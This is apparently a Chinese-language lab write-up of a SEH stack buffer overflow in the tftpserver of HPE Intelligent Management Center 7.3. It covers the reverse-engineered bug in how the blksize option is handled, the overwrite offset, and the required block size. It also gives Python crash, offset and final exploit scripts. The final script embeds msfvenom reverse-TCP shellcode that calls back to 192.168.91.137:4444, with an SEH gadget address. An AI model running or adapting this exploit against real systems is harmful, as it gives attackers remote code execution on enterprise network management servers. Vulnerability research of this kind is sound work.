0%

HPE Intelligent Management Center: Stack Buffer Overflow In tftpserver

本次实验讨论在Win10 21h2 x86系统下关闭全局DEP。后续再看开启全局DEP的情况。软件版本为:iMC_PLAT_7.3_E0506_Std_Win

因为是UDP包,断点需要下在函数ws2_32!recvfrom上面:

BOF

尝试发送一个包,然后用命令k查看调用栈,注意标红的位置,后续可以在该位置下断点,删除之前在recvfrom下的断点。

IDAsub_40A400函数用于处理tftpserver的命令,注意看如下用于从服务器读取文件,这里申请了一个9999bytes大小的空间:

BOF

跟进:

BOF

继续跟进函数sub_407730:

BOF

注意看,读取文件内容到之前申请的9999bytes空间里面去,而count又是用户可以控制的,那么,如果读取内容大于9999bytes,就会造成栈溢出。

因为涉及的是tftpserver的漏洞利用,需要对tftpserver相关协议有一个了解,这里重点关注RFC2347即可。结合前面逆向的分析,这里漏洞点在blksize是我们可以控制的(但是这个值最大为65535),最后会带入上面的count参数,结合tftpserver读文件的时候,导致栈溢出。

看一下能造成crash的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3
import tftpy
import struct
total_size = 40960
junk = b'\x41'*total_size
with open("crash.txt","wb") as filehander:
filehander.write(junk)
client = tftpy.TftpClient('127.0.0.1', 69)
client.upload('crash.txt', 'crash.txt')

client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':10240})
client.download('crash.txt','download.txt')

先来看一下溢出的情况,是一个SEH的栈溢出:

BOF

获取SEH覆盖的Offset

BOF

BOF

验证Offset的脚本如下:(10004是最终符合条件的偏移)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3
import tftpy
import struct
total_size = 40960
junk1 = b'A'*10004
nseh = b'B'*4
seh = b'C'*4
junk2 = b'D'*(total_size-10004-4-4)
with open("offset.txt","wb") as filehander:
filehander.write(junk1+nseh+seh+junk2)
client = tftpy.TftpClient('127.0.0.1', 69)
client.upload('offset.txt', 'offset.txt')

client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':40960})
client.download('offset.txt','download.txt')

BOF

发现仅能覆盖Next SEH,这就是问题所在,导致没法利用,坑点

为了保证我们能够完全覆盖Next SEHSEH Handler,需要让blksize的值为某个确定值,多次尝试之后最终确定其大小为61400最大的坑点

坏字符仅为\x00,这就不过多说了。

tftp协议相关的部分,我使用了tftpy这个库,可以节省不少时间。

最终的利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
import tftpy
import struct
import time
total_size = 0x20000
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbb\x4f\x66\xd7\x53\xda\xc9\xd9\x74\x24\xf4"
shellcode += b"\x5a\x2b\xc9\xb1\x52\x31\x5a\x12\x03\x5a\x12"
shellcode += b"\x83\x8d\x62\x35\xa6\xed\x83\x3b\x49\x0d\x54"
shellcode += b"\x5c\xc3\xe8\x65\x5c\xb7\x79\xd5\x6c\xb3\x2f"
shellcode += b"\xda\x07\x91\xdb\x69\x65\x3e\xec\xda\xc0\x18"
shellcode += b"\xc3\xdb\x79\x58\x42\x58\x80\x8d\xa4\x61\x4b"
shellcode += b"\xc0\xa5\xa6\xb6\x29\xf7\x7f\xbc\x9c\xe7\xf4"
shellcode += b"\x88\x1c\x8c\x47\x1c\x25\x71\x1f\x1f\x04\x24"
shellcode += b"\x2b\x46\x86\xc7\xf8\xf2\x8f\xdf\x1d\x3e\x59"
shellcode += b"\x54\xd5\xb4\x58\xbc\x27\x34\xf6\x81\x87\xc7"
shellcode += b"\x06\xc6\x20\x38\x7d\x3e\x53\xc5\x86\x85\x29"
shellcode += b"\x11\x02\x1d\x89\xd2\xb4\xf9\x2b\x36\x22\x8a"
shellcode += b"\x20\xf3\x20\xd4\x24\x02\xe4\x6f\x50\x8f\x0b"
shellcode += b"\xbf\xd0\xcb\x2f\x1b\xb8\x88\x4e\x3a\x64\x7e"
shellcode += b"\x6e\x5c\xc7\xdf\xca\x17\xea\x34\x67\x7a\x63"
shellcode += b"\xf8\x4a\x84\x73\x96\xdd\xf7\x41\x39\x76\x9f"
shellcode += b"\xe9\xb2\x50\x58\x0d\xe9\x25\xf6\xf0\x12\x56"
shellcode += b"\xdf\x36\x46\x06\x77\x9e\xe7\xcd\x87\x1f\x32"
shellcode += b"\x41\xd7\x8f\xed\x22\x87\x6f\x5e\xcb\xcd\x7f"
shellcode += b"\x81\xeb\xee\x55\xaa\x86\x15\x3e\x15\xfe\x4e"
shellcode += b"\x37\xfd\xfd\x70\x56\xa2\x88\x96\x32\x4a\xdd"
shellcode += b"\x01\xab\xf3\x44\xd9\x4a\xfb\x52\xa4\x4d\x77"
shellcode += b"\x51\x59\x03\x70\x1c\x49\xf4\x70\x6b\x33\x53"
shellcode += b"\x8e\x41\x5b\x3f\x1d\x0e\x9b\x36\x3e\x99\xcc"
shellcode += b"\x1f\xf0\xd0\x98\x8d\xab\x4a\xbe\x4f\x2d\xb4"
shellcode += b"\x7a\x94\x8e\x3b\x83\x59\xaa\x1f\x93\xa7\x33"
shellcode += b"\x24\xc7\x77\x62\xf2\xb1\x31\xdc\xb4\x6b\xe8"
shellcode += b"\xb3\x1e\xfb\x6d\xf8\xa0\x7d\x72\xd5\x56\x61"
shellcode += b"\xc3\x80\x2e\x9e\xec\x44\xa7\xe7\x10\xf5\x48"
shellcode += b"\x32\x91\x15\xab\x96\xec\xbd\x72\x73\x4d\xa0"
shellcode += b"\x84\xae\x92\xdd\x06\x5a\x6b\x1a\x16\x2f\x6e"
shellcode += b"\x66\x90\xdc\x02\xf7\x75\xe2\xb1\xf8\x5f"



junk1 = b'\x41'*10004
nseh = b"\xEB\x06\x90\x90"
seh = struct.pack("<L",0x1206d7ce) #0x1206d7ce : pop ebp # pop edi # ret |
nops1 = b'\x90'*64
junk2 = b'B'*(total_size-10004-4-4-64-len(shellcode))
buffer = junk1+nseh+seh+nops1+shellcode+junk2
with open("exploit.txt","wb") as filehander:
filehander.write(buffer)
client = tftpy.TftpClient('127.0.0.1', 69)
client.upload('exploit.txt', 'exploit.txt')

client = tftpy.TftpClient('127.0.0.1', 69, options={'blksize':61400})
client.download('exploit.txt','download.txt')

喜闻乐见的反弹shell

BOF

参考:

1.https://blog.exodusintel.com/2018/10/16/hpe-imc-a-case-study-on-the-reliability-of-security-fixes/

2.https://www.tenable.com/plugins/nessus/102500